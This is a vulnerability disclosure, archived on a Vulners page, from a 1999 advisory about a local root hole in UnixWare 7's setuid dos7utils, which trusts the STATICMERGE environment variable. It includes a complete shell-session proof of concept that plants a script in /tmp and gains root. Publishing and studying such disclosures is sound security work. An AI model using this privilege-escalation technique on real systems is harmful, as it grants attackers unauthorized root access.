Lucene search
K

SCO_root_exploit.txt

🗓️ 06 Oct 1999 00:00:00Reported by Packet StormType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 38 Views

Vulnerability in dos7utils allows command execution as root via STATICMERGE variable manipulation.

Code
`Greetings,  
  
A vulnerability exists in the /usr/lib/merge/dos7utils program (suid root by  
default) which allows any user to execute any command as root. The dos7utils  
program gets its localeset.sh exec path from the environment variable  
STATICMERGE. By setting this to a directory writable by us and setting the -f  
switch, we can have dos7utils run our program as follows:  
  
  
bash-2.02$ uname -a; id; pwd  
UnixWare fear71 5 7.1.0 i386 x86at SCO UNIX_SVR5  
uid=101(xnec) gid=1(other)  
/usr/lib/merge  
bash-2.02$ export STATICMERGE=/tmp  
bash-2.02$ cat > /tmp/localeset.sh  
#!/bin/sh  
id  
bash-2.02$ chmod 700 /tmp/localeset.sh   
bash-2.02$ ./dos7utils -f bah  
uid=0(root) gid=1(other)  
groups=0(root),1(other),2(bin),3(sys),4(adm),5(uucp),6(mail),7(tty),8(audit),10(nuucp),12(daemon),23(cron),25(dtadmin),47(priv),9(lp)  
bash-2.02$   
----  
  
Searching through the securityfocus vulnerability archives yields 0 matches  
for search string "unixware", but several for "openserver". I thought this  
was rather strange, considering that SCO is discontinuing OpenServer after  
5.0.5 in favor of the much more reliable (though not security-wise, evidently)  
UnixWare 7. And so begins my audit of the virgin Unixware 7 so soon after my  
incomplete audit of SCO 5.0.5.  
  
Brock Tellier  
UNIX Systems Administrator  
  
____________________________________________________________________  
Get free email and a permanent address at http://www.netaddress.com/?N=1  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Oct 1999 00:00Current
0.1Low risk
Vulners AI Score0.1
38